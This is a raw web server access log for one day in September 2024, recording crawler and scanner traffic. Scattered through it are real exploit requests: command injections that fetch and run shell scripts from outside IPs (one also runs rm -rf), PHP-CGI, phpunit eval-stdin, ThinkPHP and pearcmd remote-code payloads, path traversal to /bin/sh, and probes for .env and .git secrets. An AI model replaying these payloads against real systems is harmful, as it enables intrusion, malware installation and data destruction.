54.162.21.17 - - [01/Sep/2024:02:13:03 +0200] "GET /.git/HEAD HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" 93.174.93.12 - - [01/Sep/2024:02:21:59 +0200] "GET / HTTP/1.0" 200 423 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 149.50.103.48 - - [01/Sep/2024:02:27:24 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 198.235.24.169 - - [01/Sep/2024:02:29:09 +0200] "GET / HTTP/1.0" 200 423 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 47.128.125.167 - - [01/Sep/2024:02:33:31 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 185.170.144.3 - - [01/Sep/2024:02:34:37 +0200] "\x03" 400 383 "-" "-" 47.128.125.127 - - [01/Sep/2024:02:35:13 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 47.128.115.222 - - [01/Sep/2024:02:35:56 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 47.128.55.232 - - [01/Sep/2024:02:36:18 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 185.224.128.47 - - [01/Sep/2024:02:38:40 +0200] "GET / HTTP/1.0" 200 423 "-" "ivre-masscan/1.3 https://github.com/robertdavidgraham/" 45.156.129.50 - - [01/Sep/2024:02:40:28 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 194.38.23.16 - - [01/Sep/2024:02:55:27 +0200] "GET /plugins/file-uploader/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 404 394 "-" "ALittle Client" 194.38.23.16 - - [01/Sep/2024:02:55:32 +0200] "GET /plugins/file-uploader/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 404 407 "-" "ALittle Client" 217.114.43.60 - - [01/Sep/2024:03:00:01 +0200] "GET / HTTP/1.1" 200 274 "-" "python-requests/2.32.3" 3.250.94.198 - - [01/Sep/2024:03:05:29 +0200] "GET /.svn/wc.db HTTP/1.1" 404 284 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" 149.50.103.48 - - [01/Sep/2024:03:12:54 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 94.156.68.162 - - [01/Sep/2024:03:23:29 +0200] "GET /.git/config HTTP/1.1" 404 285 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 Vivaldi/1.0.344.37" 185.224.128.84 - - [01/Sep/2024:03:33:53 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 80.82.77.202 - - [01/Sep/2024:03:34:37 +0200] "\x16\x03\x02\x01o\x01" 400 383 "-" "-" 95.214.53.45 - - [01/Sep/2024:04:00:17 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 154.216.20.249 - - [01/Sep/2024:04:02:09 +0200] "GET /.env HTTP/1.1" 404 280 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 154.216.20.249 - - [01/Sep/2024:04:02:09 +0200] "POST / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30" 185.224.128.59 - - [01/Sep/2024:04:02:18 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 41.36.6.198 - - [01/Sep/2024:04:04:45 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.145.165.64/jaws;sh+/tmp/jaws" 400 383 "-" "-" 54.247.210.190 - - [01/Sep/2024:04:05:24 +0200] "GET /.git/HEAD HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.50.103.48 - - [01/Sep/2024:04:15:30 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 5.8.11.202 - - [01/Sep/2024:05:19:59 +0200] "\x16\x03\x02\x01o\x01" 400 383 "-" "-" 93.174.93.12 - - [01/Sep/2024:05:59:04 +0200] "\x16\x03\x02\x01o\x01" 400 383 "-" "-" 156.223.143.25 - - [01/Sep/2024:06:15:44 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.145.165.64/jaws;sh+/tmp/jaws" 400 383 "-" "-" 185.224.128.84 - - [01/Sep/2024:06:21:39 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 149.50.103.48 - - [01/Sep/2024:07:15:16 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 185.224.128.47 - - [01/Sep/2024:07:20:03 +0200] "GET / HTTP/1.0" 200 423 "-" "ivre-masscan/1.3 https://github.com/robertdavidgraham/" 197.34.38.161 - - [01/Sep/2024:07:39:27 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.145.165.64/jaws;sh+/tmp/jaws" 400 383 "-" "-" 65.49.20.66 - - [01/Sep/2024:07:49:20 +0200] "\x16\x03\x01" 400 383 "-" "-" 93.174.93.12 - - [01/Sep/2024:08:03:55 +0200] "GET / HTTP/1.0" 200 423 "-" "Mozilla/5.0 (iPad; CPU OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;WeRead/4.1.3 (iPad; iOS 12.3.1; Scale/2.00)" 185.224.128.59 - - [01/Sep/2024:08:17:47 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 185.224.128.84 - - [01/Sep/2024:08:20:07 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 54.176.154.85 - - [01/Sep/2024:08:54:12 +0200] "OPTIONS / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 149.50.103.48 - - [01/Sep/2024:09:06:14 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 185.16.39.118 - - [01/Sep/2024:09:16:21 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 141.98.11.173 - - [01/Sep/2024:09:31:51 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 185.191.126.213 - - [01/Sep/2024:09:40:42 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 149.50.103.48 - - [01/Sep/2024:09:42:57 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 46.174.191.31 - - [01/Sep/2024:10:25:31 +0200] "GET / HTTP/1.0" 200 423 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" 91.92.245.222 - - [01/Sep/2024:10:25:58 +0200] "GET /.env HTTP/1.1" 404 280 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.92.245.222 - - [01/Sep/2024:10:25:58 +0200] "POST / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.242.226.10 - - [01/Sep/2024:10:34:21 +0200] "GET /activities.ico HTTP/1.1" 200 1406 "-" "python-requests/2.26.0" 185.242.226.10 - - [01/Sep/2024:10:34:21 +0200] "GET / HTTP/1.1" 200 274 "-" "python-requests/2.26.0" 205.210.31.58 - - [01/Sep/2024:11:18:21 +0200] "\x16\x03\x01" 400 383 "-" "-" 205.210.31.58 - - [01/Sep/2024:11:18:21 +0200] "\x16\x03\x01" 400 383 "-" "-" 178.62.3.165 - - [01/Sep/2024:11:58:48 +0200] "\x16\x03\x01\x01\xfc\x01" 400 383 "-" "-" 95.214.55.138 - - [01/Sep/2024:12:18:10 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 185.224.128.59 - - [01/Sep/2024:12:31:22 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 64.62.197.86 - - [01/Sep/2024:12:37:44 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.156 Not(A:Brand/24 YaBrowser/24.4.1.901 Yowser/2.5 Safari/537.36" 185.191.126.213 - - [01/Sep/2024:13:15:08 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 185.224.128.84 - - [01/Sep/2024:13:49:40 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 156.59.198.136 - - [01/Sep/2024:13:58:45 +0200] "GET /renault.activities.at/htdocs/pinEdit/editor/config/toolbar%20quick%20mode.txt HTTP/1.0" 404 325 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 83.229.84.44 - - [01/Sep/2024:14:01:18 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 373 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:19 +0200] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 373 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:19 +0200] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 356 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:19 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 395 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:19 +0200] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 391 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:19 +0200] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 387 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:19 +0200] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 383 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 390 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 402 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 388 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 384 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 380 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 376 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 392 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 388 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 384 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:20 +0200] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 380 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:21 +0200] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:22 +0200] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 403 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:23 +0200] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:24 +0200] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 398 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:26 +0200] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:28 +0200] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:30 +0200] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:32 +0200] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 398 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:33 +0200] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:33 +0200] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:35 +0200] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 403 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:35 +0200] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:36 +0200] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:36 +0200] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:36 +0200] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:36 +0200] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:36 +0200] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 402 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:37 +0200] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:37 +0200] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 412 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:37 +0200] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 401 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:40 +0200] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 402 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:43 +0200] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 400 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:46 +0200] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 399 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:48 +0200] "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 423 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:49 +0200] "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 361 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:50 +0200] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php HTTP/1.1" 200 423 "-" "Custom-AsyncHttpClient" 83.229.84.44 - - [01/Sep/2024:14:01:50 +0200] "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 200 423 "-" "Custom-AsyncHttpClient" 147.185.133.38 - - [01/Sep/2024:14:12:53 +0200] "GET / HTTP/1.1" 200 274 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 5.8.11.202 - - [01/Sep/2024:14:31:50 +0200] "GET / HTTP/1.0" 200 423 "-" "Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1" 47.128.124.240 - - [01/Sep/2024:14:35:40 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 47.128.46.216 - - [01/Sep/2024:14:35:56 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 47.128.29.151 - - [01/Sep/2024:14:36:20 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 47.128.40.7 - - [01/Sep/2024:14:36:38 +0200] "GET /robots.txt HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" 45.156.128.45 - - [01/Sep/2024:14:41:19 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 185.224.128.84 - - [01/Sep/2024:14:46:04 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 13.91.179.102 - - [01/Sep/2024:16:16:14 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 zgrab/0.x" 178.128.234.11 - - [01/Sep/2024:16:17:46 +0200] "\x16\x03\x01" 400 383 "-" "-" 178.128.234.11 - - [01/Sep/2024:16:17:46 +0200] "\x16\x03\x01" 400 383 "-" "-" 178.128.234.11 - - [01/Sep/2024:16:17:46 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 178.128.234.11 - - [01/Sep/2024:16:17:46 +0200] "GET /form.html HTTP/1.1" 404 283 "-" "curl/8.1.2" 178.128.234.11 - - [01/Sep/2024:16:17:46 +0200] "GET /upl.php HTTP/1.1" 404 282 "-" "Mozilla/5.0" 178.128.234.11 - - [01/Sep/2024:16:17:47 +0200] "GET /t4 HTTP/1.1" 404 278 "-" "Mozilla/5.0" 178.128.234.11 - - [01/Sep/2024:16:17:47 +0200] "GET /geoip/ HTTP/1.1" 404 281 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 178.128.234.11 - - [01/Sep/2024:16:17:47 +0200] "GET /favicon.ico HTTP/1.1" 404 284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 178.128.234.11 - - [01/Sep/2024:16:17:47 +0200] "GET /1.php HTTP/1.1" 404 280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 178.128.234.11 - - [01/Sep/2024:16:17:47 +0200] "GET /systembc/password.php HTTP/1.1" 404 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 178.128.234.11 - - [01/Sep/2024:16:17:48 +0200] "GET /password.php HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.224.128.59 - - [01/Sep/2024:16:25:45 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 185.224.128.59 - - [01/Sep/2024:16:30:16 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.171%3A88%2Ft%7Csh%3B%60) HTTP/1.1" 404 371 "-" "Go-http-client/1.1" 185.130.44.86 - - [01/Sep/2024:16:36:12 +0200] "GET /QS50mV HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 185.130.44.86 - - [01/Sep/2024:16:36:12 +0200] "GET /heapdump HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 185.130.44.86 - - [01/Sep/2024:16:36:12 +0200] "GET /actuator/heapdump HTTP/1.1" 404 299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 137.184.109.50 - - [01/Sep/2024:16:53:37 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 137.184.109.50 - - [01/Sep/2024:16:53:37 +0200] "GET /activities.ico HTTP/1.1" 200 1406 "http://212.69.160.11/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 95.214.55.138 - - [01/Sep/2024:17:17:43 +0200] "GET / HTTP/1.1" 200 274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 80.82.77.202 - - [01/Sep/2024:17:50:41 +0200] "GET / HTTP/1.0" 200 423 "-" "HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0" 95.214.52.167 - - [01/Sep/2024:17:57:00 +0200] "GET / HTTP/1.1" 200 423 "-" "-" 78.153.140.177 - - [01/Sep/2024:18:09:28 +0200] "GET /.env HTTP/1.1" 404 349 "-" "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.10" 78.153.140.177 - - [01/Sep/2024:18:09:28 +0200] "\x16\x03\x01" 400 383 "-" "-" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /.env.example HTTP/1.1" 404 357 "-" "Opera/9.80 (Linux mips; U; ; en) Presto/2.10.287 Version/12.00 HbbTV/1.1.1 (; Vestel; MB95; 1.0; 1.0;)" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /.env.production HTTP/1.1" 404 360 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /.env.prod HTTP/1.1" 404 354 "-" "Mozilla/5.0 (Linux; U; Android 4.2.2; en-ph; MyPhone Agua Rain 2G Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /.env.bak HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /public/.env HTTP/1.1" 404 356 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /core/.env HTTP/1.1" 404 354 "-" "Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /local/.env HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47 (Edition Campaign 75)" 78.153.140.177 - - [01/Sep/2024:18:09:29 +0200] "GET /crm/.env HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16" 78.153.140.177 - - [01/Sep/2024:18:09:30 +0200] "GET /.env.save HTTP/1.1" 404 354 "-" "Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1" 